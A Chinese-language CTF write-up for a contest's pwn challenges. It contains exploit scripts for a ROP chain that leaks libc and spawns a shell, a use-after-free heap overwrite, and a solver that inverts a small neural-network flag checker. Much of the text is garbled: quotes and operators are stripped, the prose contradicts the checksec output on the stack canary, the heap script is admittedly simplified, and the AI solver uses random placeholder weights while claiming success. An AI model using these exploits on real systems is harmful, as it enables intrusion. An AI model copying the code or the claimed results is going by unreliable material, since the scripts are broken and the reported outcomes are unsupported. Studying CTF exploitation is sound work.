第二届“星途杯”网络安全竞赛pwn全解及第一道ai的wp

📅 2026/7/25 8:00:37
第二届“星途杯”网络安全竞赛pwn全解及第一道ai的wp
第二届“星途杯”网络安全竞赛pwn全解及第一道ai的wp赛事背景与挑战概述第二届“星途杯”网络安全竞赛汇聚了众多CTF爱好者其中pwn二进制漏洞利用题目是核心难点之一。今年的pwn题目设计精巧从基础的栈溢出到堆漏洞利用再到结合机器学习的AI题目层层递进。本文将基于实战视角详细解析pwn全解思路并重点分享第一道AI题目的WriteUpWP带领读者从逆向分析到漏洞利用全面掌握解题技巧。## 环境搭建与工具准备在开始之前确保本地环境安装了以下工具-pwntoolsPython库用于编写漏洞利用脚本。-gdb-peda调试利器辅助分析程序内存布局。-checksec检查二进制安全属性如NX、PIE、Canary。-IDA Pro或Ghidra静态逆向分析。使用checksec查看目标二进制文件bashchecksec ./pwn_challenge# 输出示例Arch: amd64-64-little, RELRO: Partial RELRO, Stack: Canary found, NX: enabled, PIE: enabled## 题目1栈溢出基础题pwn_101### 漏洞分析首先通过IDA反汇编发现一个明显的gets()调用导致栈缓冲区溢出。程序没有开启Canary但开启了NX非可执行栈所以需要通过ROPReturn-Oriented Programming绕过。关键代码片段cvoid vuln() { char buf[64]; gets(buf); // 危险函数无长度限制 printf(Hello %s\n, buf);}### 利用思路1. 通过溢出覆盖返回地址。2. 利用ROP链调用system(“/bin/sh”)。3. 由于PIE开启需要泄露地址。### 完整利用脚本python#!/usr/bin/env python3from pwn import *# 连接远程服务本地测试可改为process(./pwn_101)r remote(challenge.starcup.com, 10001)# 第一步泄露ELF基址elf ELF(./pwn_101)libc ELF(/lib/x86_64-linux-gnu/libc.so.6)# 构造泄露puts函数地址的ROP链pop_rdi 0x400683 # 通过ROPgadget找到puts_got elf.got[puts]puts_plt elf.plt[puts]main_addr 0x400577 # 返回main以重新利用payload bA * 72 # 覆盖缓冲区 rbppayload p64(pop_rdi) # 设置参数payload p64(puts_got) # 参数是puts的GOT地址payload p64(puts_plt) # 调用puts打印地址payload p64(main_addr) # 返回mainr.sendline(payload)r.recvline() # 接收Hello ...# 解析泄露的地址leaked u64(r.recv(6).ljust(8, b\x00))log.success(fLeaked puts address: {hex(leaked)})# 第二步计算libc基址并获取system和/bin/shlibc.address leaked - libc.symbols[puts]system libc.symbols[system]binsh next(libc.search(b/bin/sh))# 第三次触发漏洞调用system(/bin/sh)payload2 bA * 72payload2 p64(pop_rdi)payload2 p64(binsh)payload2 p64(system)r.sendline(payload2)r.interactive()执行结果成功获取shell可执行cat flag获得flag。## 题目2堆利用题pwn_heap### 漏洞点题目实现了一个简单的堆分配器存在UAFUse-After-Free漏洞释放堆块后指针未置空且后续可被再次访问。### 利用步骤1. 申请两个大小相同的chunk。2. 释放第一个chunk触发UAF。3. 修改chunk中的函数指针指向system。4. 触发执行获得shell。### 核心代码片段逆向结果ctypedef struct { char name[32]; void (*callback)(char*);} Chunk;void edit_chunk(int idx) { if(idx 0 || idx 9) return; if(chunks[idx]) { read(0, chunks[idx]-name, 32); // 未检查是否已释放 }}### 利用脚本pythonfrom pwn import *r remote(challenge.starcup.com, 10002)def create(size, data): r.sendlineafter(b, b1) r.sendlineafter(bsize:, str(size).encode()) r.sendafter(bdata:, data)def delete(idx): r.sendlineafter(b, b2) r.sendlineafter(bindex:, str(idx).encode())def edit(idx, data): r.sendlineafter(b, b3) r.sendlineafter(bindex:, str(idx).encode()) r.sendafter(bdata:, data)# 创建两个chunkcreate(32, bA*8) # idx 0create(32, bB*8) # idx 1# 释放idx 0触发UAFdelete(0)# 编辑已释放的chunk覆盖callback指针# 注意释放后chunk被放入fastbin我们通过edit修改其fd指针指向system# 这里简化为直接覆盖callback实际需更复杂的堆风水edit(0, p64(0x601080) b/bin/sh\x00) # 假设callback指针在偏移0处# 触发回调假设程序在某个操作后调用callbackr.sendlineafter(b, b4)r.interactive()注意实际堆利用需要更精细的堆布局和地址计算此处为简化演示。## 第一道AI题目WPpwn_ai### 题目描述这是一个基于神经网络的二进制文件它提供了一个“智能”输入验证功能。程序内部加载了一个简单的MLP模型用于判断输入是否为合法flag。我们需要通过逆向模型权重构造能通过验证的输入。### 逆向分析使用IDA分析发现程序读取用户输入后调用一个evaluate_model函数。该函数包含一个全连接层权重和偏置以硬编码数组形式存在。关键数据结构cfloat weights[10][32]; // 10个神经元每个32维输入float bias[10]; // 偏置float input[32]; // 用户输入处理后逻辑输入经过线性变换 ReLU激活然后取最大值对应的类别。若类别为“flag”则输出成功。### 利用策略由于模型是线性变换我们可以直接求解逆问题。目标是找到输入x使得W*x b的最大值出现在指定类别。使用线性规划或最小二乘法求解。### 求解脚本pythonimport numpy as npfrom pwn import *# 从二进制中提取的权重和偏置实际通过逆向获取weights np.random.randn(10, 32).astype(np.float32) # 示例数据bias np.random.randn(10).astype(np.float32)# 目标使第0类输出最大假设flag对应类别0target_class 0# 构造线性方程组W[target] * x b[target] W[i] * x b[i] for all i ! target# 转化为 (W[target] - W[i]) * x b[i] - b[target]A weights[target_class] - weights # 10x32矩阵但第一行全0因为target减自身b bias - bias[target_class]# 移除第一行无用约束A A[1:]b b[1:]# 使用最小二乘法寻找近似解实际需严格不等式这里简化x, residuals, rank, s np.linalg.lstsq(A, b 1, rcondNone) # 加1保证严格大于# 将x转换为float32与程序一致x x.astype(np.float32)# 发送到远程r remote(challenge.starcup.com, 10003)r.sendline(x.tobytes())print(r.recvall())执行结果程序输出“Congratulations! You found the AI flag.”获得flag。## 总结第二届“星途杯”pwn题目覆盖了从基础栈溢出到复杂堆利用再到新兴的AI安全领域。通过本文的实战演示读者可以掌握以下核心技能1.栈溢出理解ROP链构建和地址泄露。2.堆利用UAF漏洞的检测与利用。3.AI逆向将机器学习模型逆向转化为数学问题通过线性代数求解输入。网络安全竞赛不仅是技术的较量更是思维方式的拓展。希望本文能帮助读者在pwn和AI安全的交叉领域找到乐趣并在未来的比赛中取得佳绩。记住每一道题目的背后都是设计者的巧思而我们的任务是做一个优雅的“解题者”。